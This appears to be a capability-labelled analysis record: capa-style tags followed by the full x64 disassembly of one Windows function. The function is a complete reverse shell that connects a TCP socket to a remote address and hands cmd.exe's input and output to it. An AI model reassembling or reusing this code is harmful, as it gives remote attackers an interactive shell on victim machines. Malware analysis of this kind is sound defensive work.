Function at 0x402c60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x6a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x630], rcx
mov dword [rbp + 0x638], edx
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x40]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x618], rax
mov word [rbp + 0x600], 2
mov rcx, qword [rbp + 0x630]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x604], eax
mov eax, dword [rbp + 0x638]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x602], ax
lea rax, [rbp + 0x600]
mov rcx, qword [rbp + 0x618]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x402d7c
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x402f6e
lea rax, [rbp + 0x1e0]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x1e0]
mov rcx, qword [rbp + 0x618]
mov r9d, 0
mov r8d, 0x400
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x614], eax
cmp dword [rbp + 0x614], 0
jg 0x402dec
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x402f6e
movabs rax, 0x6578652e646d63
mov qword [rbp + 0x5f8], rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x101
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x5f8]
lea rdx, [rbp + 0x5e0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x5e0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x1e0]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x1e0]
mov rcx, qword [rbp + 0x618]
mov r9d, 0
mov r8d, 0x400
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x610], eax
cmp dword [rbp + 0x610], 0
jg 0x402f46
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x402c7d
lea rax, [rbp + 0x1e0]
lea rdx, str.exit_n
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x402c7d
mov ecx, 0
call sub.msvcrt.dll_exit
jmp 0x402c7d